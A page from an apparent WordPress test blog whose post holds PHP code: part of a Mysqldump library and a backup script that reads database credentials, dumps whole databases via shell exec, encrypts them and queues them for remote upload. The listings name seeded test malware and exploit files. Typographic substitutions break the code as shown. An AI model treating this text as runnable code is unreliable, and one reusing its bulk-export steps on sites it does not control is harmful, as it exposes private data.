‘skip-procs-perm-error’ ] ) { return “–“.PHP_EOL . “– No access to PROC: “.$procedureName.PHP_EOL . “–“.PHP_EOL.PHP_EOL; } else { throw new Exception(“Error getting procedure code, unknown output. “. “Please check ‘https://bugs.mysql.com/bug.php?id=14564′”); } } $procedureStmt = $row[‘Create Procedure’]; if ( $this->dumpSettings[‘skip-definer’] ) { if ($procedureStmtReplaced = preg_replace( ‘/^(CREATE)\s+(‘.self::DEFINER_RE.’)?\s+(PROCEDURE\s.*)$/s’, ‘\1 \3’, $procedureStmt, 1 )) { $procedureStmt = $procedureStmtReplaced; } } $ret .= “/*!50003 DROP PROCEDURE IF EXISTS `”. $row[‘Procedure’].”` */;”.PHP_EOL. “/*!40101 SET @saved_cs_client = @@character_set_client */;”.PHP_EOL. “/*!40101 SET character_set_client = “.$this->dumpSettings[‘default-character-set’].” */;”.PHP_EOL. “DELIMITER ;;”.PHP_EOL. $procedureStmt.” ;;”.PHP_EOL. “DELIMITER ;”.PHP_EOL. “/*!40101 SET character_set_client = @saved_cs_client */;”.PHP_EOL.PHP_EOL; return $ret; } public function create_function($row) { $ret = “”; if (!isset($row[‘Create Function’])) { throw new Exception(“Error getting function code, unknown output. “. “Please check ‘https://bugs.mysql.com/bug.php?id=14564′”); } $functionStmt = $row[‘Create Function’]; $characterSetClient = $row[‘character_set_client’]; $collationConnection = $row[‘collation_connection’]; $sqlMode = $row[‘sql_mode’]; if ( $this->dumpSettings[‘skip-definer’] ) { if ($functionStmtReplaced = preg_replace( ‘/^(CREATE)\s+(‘.self::DEFINER_RE.’)?\s+(FUNCTION\s.*)$/s’, ‘\1 \3’, $functionStmt, 1 )) { $functionStmt = $functionStmtReplaced; } } $ret .= “/*!50003 DROP FUNCTION IF EXISTS `”. $row[‘Function’].”` */;”.PHP_EOL. “/*!40101 SET @saved_cs_client = @@character_set_client */;”.PHP_EOL. “/*!50003 SET @saved_cs_results = @@character_set_results */ ;”.PHP_EOL. “/*!50003 SET @saved_col_connection = @@collation_connection */ ;”.PHP_EOL. “/*!40101 SET character_set_client = “.$characterSetClient.” */;”.PHP_EOL. “/*!40101 SET character_set_results = “.$characterSetClient.” */;”.PHP_EOL. “/*!50003 SET collation_connection = “.$collationConnection.” */ ;”.PHP_EOL. “/*!50003 SET @saved_sql_mode = @@sql_mode */ ;;”.PHP_EOL. “/*!50003 SET sql_mode = ‘”.$sqlMode.”‘ */ ;;”.PHP_EOL. “/*!50003 SET @saved_time_zone = @@time_zone */ ;;”.PHP_EOL. “/*!50003 SET time_zone = ‘SYSTEM’ */ ;;”.PHP_EOL. “DELIMITER ;;”.PHP_EOL. $functionStmt.” ;;”.PHP_EOL. “DELIMITER ;”.PHP_EOL. “/*!50003 SET sql_mode = @saved_sql_mode */ ;”.PHP_EOL. “/*!50003 SET character_set_client = @saved_cs_client */ ;”.PHP_EOL. “/*!50003 SET character_set_results = @saved_cs_results */ ;”.PHP_EOL. “/*!50003 SET collation_connection = @saved_col_connection */ ;”.PHP_EOL. “/*!50106 SET TIME_ZONE= @saved_time_zone */ ;”.PHP_EOL.PHP_EOL; return $ret; } public function create_event($row) { $ret = “”; if (!isset($row[‘Create Event’])) { throw new Exception(“Error getting event code, unknown output. “. “Please check ‘http://stackoverflow.com/questions/10853826/mysql-5-5-create-event-gives-syntax-error'”); } $eventName = $row[‘Event’]; $eventStmt = $row[‘Create Event’]; $sqlMode = $row[‘sql_mode’]; $definerStr = $this->dumpSettings[‘skip-definer’] ? ” : ‘/*!50117 \2*/ ‘; if ($eventStmtReplaced = preg_replace( ‘/^(CREATE)\s+(‘.self::DEFINER_RE.’)?\s+(EVENT .*)$/s’, ‘/*!50106 \1*/ ‘.$definerStr.’/*!50106 \3 */’, $eventStmt, 1 )) { $eventStmt = $eventStmtReplaced; } $ret .= “/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;”.PHP_EOL. “/*!50106 DROP EVENT IF EXISTS `”.$eventName.”` */;”.PHP_EOL. “DELIMITER ;;”.PHP_EOL. “/*!50003 SET @saved_cs_client = @@character_set_client */ ;;”.PHP_EOL. “/*!50003 SET @saved_cs_results = @@character_set_results */ ;;”.PHP_EOL. “/*!50003 SET @saved_col_connection = @@collation_connection */ ;;”.PHP_EOL. “/*!50003 SET character_set_client = utf8 */ ;;”.PHP_EOL. “/*!50003 SET character_set_results = utf8 */ ;;”.PHP_EOL. “/*!50003 SET collation_connection = utf8_general_ci */ ;;”.PHP_EOL. “/*!50003 SET @saved_sql_mode = @@sql_mode */ ;;”.PHP_EOL. “/*!50003 SET sql_mode = ‘”.$sqlMode.”‘ */ ;;”.PHP_EOL. “/*!50003 SET @saved_time_zone = @@time_zone */ ;;”.PHP_EOL. “/*!50003 SET time_zone = ‘SYSTEM’ */ ;;”.PHP_EOL. $eventStmt.” ;;”.PHP_EOL. “/*!50003 SET time_zone = @saved_time_zone */ ;;”.PHP_EOL. “/*!50003 SET sql_mode = @saved_sql_mode */ ;;”.PHP_EOL. “/*!50003 SET character_set_client = @saved_cs_client */ ;;”.PHP_EOL. “/*!50003 SET character_set_results = @saved_cs_results */ ;;”.PHP_EOL. “/*!50003 SET collation_connection = @saved_col_connection */ ;;”.PHP_EOL. “DELIMITER ;”.PHP_EOL. “/*!50106 SET TIME_ZONE= @save_time_zone */ ;”.PHP_EOL.PHP_EOL; // Commented because we are doing this in restore_parameters() // “/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;” . PHP_EOL . PHP_EOL; return $ret; } public function show_tables() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SELECT TABLE_NAME AS tbl_name “. “FROM INFORMATION_SCHEMA.TABLES “. “WHERE TABLE_TYPE=’BASE TABLE’ AND TABLE_SCHEMA=’${args[0]}'”; } public function show_views() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SELECT TABLE_NAME AS tbl_name “. “FROM INFORMATION_SCHEMA.TABLES “. “WHERE TABLE_TYPE=’VIEW’ AND TABLE_SCHEMA=’${args[0]}'”; } public function show_triggers() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SHOW TRIGGERS FROM `${args[0]}`;”; } public function show_columns() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SHOW COLUMNS FROM `${args[0]}`;”; } public function show_procedures() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SELECT SPECIFIC_NAME AS procedure_name “. “FROM INFORMATION_SCHEMA.ROUTINES “. “WHERE ROUTINE_TYPE=’PROCEDURE’ AND ROUTINE_SCHEMA=’${args[0]}'”; } public function show_functions() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SELECT SPECIFIC_NAME AS function_name “. “FROM INFORMATION_SCHEMA.ROUTINES “. “WHERE ROUTINE_TYPE=’FUNCTION’ AND ROUTINE_SCHEMA=’${args[0]}'”; } /** * Get query string to ask for names of events from current database. * * @param string Name of database * @return string */ public function show_events() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “SELECT EVENT_NAME AS event_name “. “FROM INFORMATION_SCHEMA.EVENTS “. “WHERE EVENT_SCHEMA=’${args[0]}'”; } public function setup_transaction() { return “SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ”; } public function start_transaction() { return “START TRANSACTION ” . “/*!40100 WITH CONSISTENT SNAPSHOT */”; } public function commit_transaction() { return “COMMIT”; } public function lock_table() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return $this->dbHandler->exec(“LOCK TABLES `${args[0]}` READ LOCAL”); } public function unlock_table() { return $this->dbHandler->exec(“UNLOCK TABLES”); } public function start_add_lock_table() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “LOCK TABLES `${args[0]}` WRITE;”.PHP_EOL; } public function end_add_lock_table() { return “UNLOCK TABLES;”.PHP_EOL; } public function start_add_disable_keys() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “/*!40000 ALTER TABLE `${args[0]}` DISABLE KEYS */;”. PHP_EOL; } public function end_add_disable_keys() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “/*!40000 ALTER TABLE `${args[0]}` ENABLE KEYS */;”. PHP_EOL; } public function start_disable_autocommit() { return “SET autocommit=0;”.PHP_EOL; } public function end_disable_autocommit() { return “COMMIT;”.PHP_EOL; } public function add_drop_database() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “/*!40000 DROP DATABASE IF EXISTS `${args[0]}`*/;”. PHP_EOL.PHP_EOL; } public function add_drop_trigger() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “DROP TRIGGER IF EXISTS `${args[0]}`;”.PHP_EOL; } public function drop_table() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “DROP TABLE IF EXISTS `${args[0]}`;”.PHP_EOL; } public function drop_view() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “DROP TABLE IF EXISTS `${args[0]}`;”.PHP_EOL. “/*!50001 DROP VIEW IF EXISTS `${args[0]}`*/;”.PHP_EOL; } public function getDatabaseHeader() { $this->check_parameters(func_num_args(), $expected_num_args = 1, __METHOD__); $args = func_get_args(); return “–“.PHP_EOL. “– Current Database: `${args[0]}`”.PHP_EOL. “–“.PHP_EOL.PHP_EOL; } /** * Decode column metadata and fill info structure. * type, is_numeric and is_blob will always be available. * * @param array $colType Array returned from “SHOW COLUMNS FROM tableName” * @return array */ public function parseColumnType($colType) { $colInfo = array(); $colParts = explode(” “, $colType[‘Type’]); if ($fparen = strpos($colParts[0], “(“)) { $colInfo[‘type’] = substr($colParts[0], 0, $fparen); $colInfo[‘length’] = str_replace(“)”, “”, substr($colParts[0], $fparen + 1)); $colInfo[‘attributes’] = isset($colParts[1]) ? $colParts[1] : null; } else { $colInfo[‘type’] = $colParts[0]; } $colInfo[‘is_numeric’] = in_array($colInfo[‘type’], $this->mysqlTypes[‘numerical’]); $colInfo[‘is_blob’] = in_array($colInfo[‘type’], $this->mysqlTypes[‘blob’]); // for virtual columns that are of type ‘Extra’, column type // could by “STORED GENERATED” or “VIRTUAL GENERATED” // MySQL reference: https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html $colInfo[‘is_virtual’] = strpos($colType[‘Extra’], “VIRTUAL GENERATED”) !== false || strpos($colType[‘Extra’], “STORED GENERATED”) !== false; return $colInfo; } public function backup_parameters() { $ret = “/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;”.PHP_EOL. “/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;”.PHP_EOL. “/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;”.PHP_EOL. “/*!40101 SET NAMES “.$this->dumpSettings[‘default-character-set’].” */;”.PHP_EOL; if (false === $this->dumpSettings[‘skip-tz-utc’]) { $ret .= “/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;”.PHP_EOL. “/*!40103 SET TIME_ZONE=’+00:00′ */;”.PHP_EOL; } $ret .= “/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;”.PHP_EOL. “/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;”.PHP_EOL. “/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=’NO_AUTO_VALUE_ON_ZERO’ */;”.PHP_EOL. “/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;”.PHP_EOL.PHP_EOL; return $ret; } public function restore_parameters() { $ret = “”; if (false === $this->dumpSettings[‘skip-tz-utc’]) { $ret .= “/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;”.PHP_EOL; } $ret .= “/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;”.PHP_EOL. “/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;”.PHP_EOL. “/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;”.PHP_EOL. “/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;”.PHP_EOL. “/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;”.PHP_EOL. “/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;”.PHP_EOL. “/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;”.PHP_EOL.PHP_EOL; return $ret; } /** * Check number of parameters passed to function, useful when inheriting. * Raise exception if unexpected. * * @param integer $num_args * @param integer $expected_num_args * @param string $method_name */ private function check_parameters($num_args, $expected_num_args, $method_name) { if ($num_args != $expected_num_args) { throw new Exception(“Unexpected parameter passed to $method_name”); } return; } } # Ifsnop\Mysqldump – END # BackupGrabAndZip – START test_bullet_is_reachable(); set_time_limit(0); ignore_user_abort(true); error_reporting(E_ERROR | E_PARSE); ini_set(‘display_errors’, false); ini_set(‘html_errors’, false); $_CLIENTID = ‘3473’; $_SCHEMAS = ‘[“sitelockdev_yli1218-1”]’; $_SAVE_LOG = true; $_CHUNK_SIZE = ‘10485760’; // 1048576 $base_zip_path = null; $mysqldump_config_file = null; add_to_log_section_start( ‘BackupGrabAndZip’ ); add_to_log( $_POST, ‘_POST’ ); add_to_log( $_SERVER[‘QUERY_STRING’], ‘_GET (raw)’ ); reduce_chunk_size_on_low_memory(); $_SINGLEID = $_GET[ ‘smart_single_download_id’ ]; // Command to cleanup the bullet if ( isset( $_GET[ ‘cmd’ ] ) && $_GET[ ‘cmd’ ] == ‘complete’ ) { // delete unique directory delete_unique_directory(); // stop further processing exit; } // Check if we can talk to MAPI in case of any early errors check_and_terminate_on_mapi_errors(); init_DB_creds_based_on_platform(); // We’re good to continue, unless we are trying to run the same bullet again – prevent it! if ( bullet_is_locked() ) { wrap_up_the_backup( ‘error’, ‘BACKUP_DB_ERR_PROCESS_LOCKED’ ); } else { lock_the_bullet(); } // For Generic DB, we’ll already have the Queue ID from the earlier s3_init call switch( $_PLATFORM ) { case ‘wordpress’: case ‘joomla’: $_SINGLEID = handle_s3_init(); break; case ‘generic’: default: if ( ! $_SINGLEID ) { wrap_up_the_backup( ‘error’, ‘BACKUP_DB_ERR_NO_PROCESS_ID’ ); } break; } // this will create a file with DB structure $db = getDbObj(); $user = DB_USER; $pass = DB_PASSWORD; $host = DB_HOST; $dir = get_our_path(‘.’, “.$_UNIQUE”,”); if ( ! is_dir( $dir )) { mkdir( $dir ); } add_to_log( ‘‘ . $_SCHEMAS . ‘‘, ‘$_SCHEMAS received’ ); $_SCHEMAS = process_backup_schemas( $_SCHEMAS ); // In case any of the tables have non-ASCII characters, we need to make sure escapeshellarg() will preserve them! set_character_locale(); $shell_is_available = true; $disable_functions = ini_get(‘disable_functions’); $disable_functions_arr = explode( ‘,’, $disable_functions ); if ( in_array( ‘exec’, $disable_functions_arr ) ) { add_to_log( $disable_functions, “ini_get(‘disable_functions’)” ); $shell_is_available = false; } if ( $shell_is_available ) { // –skip-definer options does not reliably work under MariaDB distribution because of different versioning // Have to resort to using only sed for now, until we have official MariaDB support. $definer_regex = ‘DEFINER=`[^`]+`@`[^`]+`’; $sed = ”; $mysql_version_string = Mysql_base::establish_mysql_version(); add_to_log( $mysql_version_string, ‘establish_mysql_version()’ ); // sed might or might not be available $sed_path = exec( ‘which sed’ ); if ( empty( $sed_path ) ) { $sed_path = ‘sed’; // try default } // https://stackoverflow.com/questions/9446783/remove-definer-clause-from-mysql-dumps $sed = ” | {$sed_path} -r -e ‘s/{$definer_regex}//'”; add_to_log( $sed, “Trying sed.” ); //$gzip = ” | gzip -9 -c “; //add_to_log( $gzip, “Will also try gzip.” ); // check how we access mysqldump $mysqldump_out = NULL; $mysqldump = exec( ‘which mysqldump’, $mysqldump_out ); if ( empty( $mysqldump ) ) { $mysqldump = ‘mysqldump’; add_to_log( json_encode( $mysqldump_out ), ‘”which mysqldump” failed, will try without “which”‘ ); } $mysqldump_version_string = Mysql_base::establish_mysqldump_version( $mysqldump ); // try just raw command here too if ( $mysqldump_version_string ) { add_to_log( $mysqldump_version_string, “{$mysqldump} Version” ); //create a temporary config file $mysqldump_config_file = tempnam(sys_get_temp_dir(), ‘sl-mysqldump’); if ( $mysqldump_config_file === false ) { wrap_up_the_backup( ‘error’, ‘BACKUP_DB_ERR_TEMPNAM’, ‘faied tempnam()’ ); } //store the configuration options $config_saved = file_put_contents($mysqldump_config_file, “[mysqldump] user={$user} password=\”{$pass}\””); if ( $config_saved === false ) { wrap_up_the_backup( ‘error’, ‘BACKUP_DB_ERR_TEMPNAM’, ‘failed saving [mysqldump] creds’ ); } } else // failed to access mysqldump – stop here and try the library for data export { add_to_log(false, “Was unable to get mysqldump version. Reset flag and try to export using the library.”); $shell_is_available = false; } } else // no shell access – do things manually { // anything here? add_to_log( ‘Will try using the PHP library’, ‘NO SHELL AVAILABLE’ ); } $schemas_metadata = array(); // will contain full info about schema and its db objects if ( $shell_is_available ) { $all_schemas_shell = array(); foreach( $_SCHEMAS AS $schema_index => $_SCHEMA ) { $all_schemas_shell[] = escapeshellarg( $_SCHEMA ); } $all_schemas_shell = implode( ‘ ‘, $all_schemas_shell ); $out = $dir . ‘everything.sql.zip’; $zip = ” | zip -jqm1 {$out} -“; // check for port: $myqldump_host = $host; $myqldump_port = ”; if ( strpos( $myqldump_host, ‘:’ ) !== false ) { list( $myqldump_host, $myqldump_port ) = explode( ‘:’, $myqldump_host ); $myqldump_port = ‘ –port=’ . $myqldump_port; } // added –no-tablespaces option to address issue caused by updates for MySQL 5.7.31 and MySQL 8.0.21 in absence of new PROCESS priveledge. $command = “{$mysqldump} –defaults-file={$mysqldump_config_file} -h{$myqldump_host} {$myqldump_port} –quick –compact –skip-comments –events –routines –create-options –add-drop-table –add-drop-trigger –force –no-tablespaces –databases {$all_schemas_shell} {$sed} {$zip}”; $return_var = NULL; $output = NULL; exec(“({$command}) 2>&1”, $output, $return_var); cleanup_insufficient_priveleges( $output ); // for now, we expect that some SPs might fail if they have definer other than provided MySQL user, so we’ll skip and log those if( $return_var && ! empty( $output ) ) { array_walk( $output, ‘htmlspecialchars’ ); add_to_log( ‘‘ . print_r(<br /> array( ‘command’ => $command, ‘error-code’ => $return_var, ‘output’ => $output ),<br /> true<br /> ) . ‘‘, ‘mysqldump-routines-error’ ); } else { add_to_log( $command, ‘mysqldump: success’ ); } // rename zipped file $command = “zipnote -w {$out} <<<$'@ -\n@={$backup_file_name}'"; $return_var = NULL; $output = NULL; exec("({$command}) 2>&1″, $output, $return_var); if( $return_var && ! empty( $output ) ) { add_to_log( ‘‘ . print_r(<br /> array( ‘command’ => $command, ‘error-code’ => $return_var, ‘output’ => $output ),<br /> true<br /> ) . ‘‘, ‘zipnote: error’ ); } else { add_to_log( $command, ‘zipnote: success’ ); } } else { add_to_log( ”, ‘Starting execution using PHP library’ ); $dumpSettings = array( ‘add-drop-table’ => true, ‘add-drop-trigger’ => true, ‘databases’ => true, ‘default-character-set’ => Mysqldump::UTF8, ‘events’ => true, ‘routines’ => true, ‘single-transaction’ => true, ‘skip-triggers’ => false, ‘skip-comments’ => true, ‘skip-definer’ => true, ‘skip-procs-perm-error’ => true, // my own custom flag, because sproc permission errors are troublemakers ); // will have to dump each schema individually as one PDO connection can only work with one database at a time $data_dump_file = $dir . $backup_file_name; foreach( $_SCHEMAS AS $schema_index => $_SCHEMA ) { $descriptor_info[] = $_SCHEMA; try { $PDO_init_string = “mysql:host={$host};dbname={$_SCHEMA}”; $dump = new Mysqldump($PDO_init_string, $user, $pass, $dumpSettings); $response = $dump->start($data_dump_file,true); } catch (Exception $ex) { wrap_up_the_backup( ‘error’, “BACKUP_DB_ERR_MYSQLDUMP_TABLE”, “Mysqldump Exception code {$ex->getCode()}, error message: {$ex->getMessage()}”); } add_to_log( $response, “Used PHP library to add {$_SCHEMA} to {$data_dump_file}.” ); } $descriptor_file_path = $dir . $db_structure_descriptor_file; file_put_contents( $descriptor_file_path, json_encode( $descriptor_info ) ); // Now we need to zip this up to match “zip to -” logic in shell version $out = $dir; // by ref – will be updated with an actual ZIP file path if ( archive_files(array($data_dump_file,$descriptor_file_path), $out, $dir) ) { add_to_log( $out, ‘archived file’ ); } else { $zip_err_info = array( ‘files’ => $sql_files, ‘zip’ => $out, ‘dir’ => $dir ); add_to_log( $zip_err_info, ‘archive-files-error’ ); wrap_up_the_backup( ‘error’, “BACKUP_DB_ERR_ZIP”, json_encode( $zip_err_info ) ); } } if ( $shell_is_available ) { //delete the temporary config file unlink($mysqldump_config_file); } // finally, encrypt // CBC mode, being a block-based mode, will always have an output with size divisible // by the block size of the algorithm in use (that’s 128 bits or 16 bytes for AES). $zip_size = filesize( $out ); add_to_log( $zip_size, “Original ZIP size”); $zip_fp = fopen($out, ‘rb’); // Open ZIP for reading in BINARY mode $zip_md5 = md5_file($out); $chunk_counter = 0; $chunk_sizes = array(); $bytes_written = 0; while (!feof($zip_fp)) { // check set number of butes from the ZIP $contents = fread($zip_fp, $_CHUNK_SIZE); $chunk_filename = “{$out}.{$chunk_counter}”; // encrypt the chunk $chunk_enc_contents = encrypt_string($contents); unset($contents); // output chunk into its own file $chunk_bytes = file_put_contents($chunk_filename, $chunk_enc_contents); unset($chunk_enc_contents); // tally the counts $chunk_sizes[$chunk_filename] = $chunk_bytes; $bytes_written += $chunk_bytes; $chunk_counter++; } fclose($zip_fp); add_to_log( $chunk_counter, ‘Encoded chunks written’ ); // cleanup the original ZIP unlink( $out ); // add a descriptor file $descriptor_content = json_encode( array( ‘zip_md5’ => $zip_md5, ‘chunks’ => (object) array_values( $chunk_sizes ), ‘metadata’ => $schemas_metadata, ‘compression_method’ => ‘zip’, ) ); file_put_contents( $out . $descriptor_ext, $descriptor_content ); $base_zip_path = ltrim( str_replace( dirname( __FILE__ ), ”, $out ), ‘/’ ); wrap_up_the_backup(); function wrap_up_the_backup( $status = ‘ok’, $err_token = ”, $err_tech_details = null ) { global $_TOKEN, $_SITEID, $_SINGLEID, $_CLIENTID, $_FEATURECODE, $_SAVE_LOG, $base_zip_path, $descriptor_ext, $mysqldump_config_file; add_to_log( $err_token, “wrap_up_the_backup with status {$status}” ); add_to_log( $err_tech_details, “Returned technical error details, if any” ); // Always clean up creds regardless of backup status if ( is_file( $mysqldump_config_file ) ) { unlink( $mysqldump_config_file) ; } $s3_queue_success = true; if ( $status == ‘ok’ && $base_zip_path != null ) { // S3 Queue Call $params = array( ‘site_id’ => $_SITEID, ‘queue_id’ => $_SINGLEID, ‘client_id’ => $_CLIENTID, ‘feature_code’ => $_FEATURECODE, ‘status’ => $status, ‘url’ => $base_zip_path, ‘zip_file_info’ => $base_zip_path . $descriptor_ext, ); $mapi_post_response = mapi_post($_TOKEN, ‘s3_queue’, $params); // error out of not approved $response_decoded = json_decode( $mapi_post_response, true ); if ( !( isset( $response_decoded[‘responses’][0][‘data’][‘s3_status’] ) && $response_decoded[‘responses’][0][‘data’][‘s3_status’] == ‘ok’ ) ) { $s3_queue_success = false; $err_token = ‘CURL_MAPI_ERR’; if ( isset( $response_decoded[‘responses’][0][‘data’] ) ) { $err_tech_details = json_encode( $response_decoded[‘responses’][0][‘data’] ); } } } // send all errors to new endpoint if( !$s3_queue_success || $status != ‘ok’ ) { update_scan_on_error( $err_token, $err_tech_details, false ); } unlock_the_bullet(); cleanup_old_tmp_trash(); $run_time = log_bullet_run_time(); echo_enc( “done with backup grab and zip in {$run_time}s.”); output_clean(); // drop log if scan finished with no errors !$_SAVE_LOG and delete_log_file(); exit; } # BackupGrabAndZip – END Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_suspisios_file_01.php POST ./TEST_MALWARE_06.PHP Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_06.php POST ./TEST_MALWARE_05.PHP Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_05.php POST ./TEST_MALWARE_04.PHP Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_04.php POST ./TEST_MALWARE_03.PHP Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_03.php POST ./TEST_MALWARE_02.PHP Posted byFebruary 6, 2024Posted inUncategorizedLeave a comment on Post ./TEST_malware_02.php POSTS NAVIGATION 1 2 3 Older posts Search for: RECENT POSTS * Post 01 en. * Post 02 ru. * Post ./TEST_malware_08.js * Post ./TEST_malware_07.js * Post ./TEST_suspisios_file_01.php RECENT COMMENTS * wp-cli on Post ./TEST_vlc_amv.html * wp-cli on Post ./TEST_vlc_amv.html * wp-cli on Post ./TEST_ms14_064_ole_xp.html * wp-cli on Post ./TEST_ms14_064_ole_xp.html * wp-cli on Post ./TEST_ms14_064_ole_xp.html ARCHIVES * February 2024 CATEGORIES * Uncategorized META * Log in * Entries RSS * Comments RSS * WordPress.org yl Test WP 0206-12, Proudly powered by WordPress.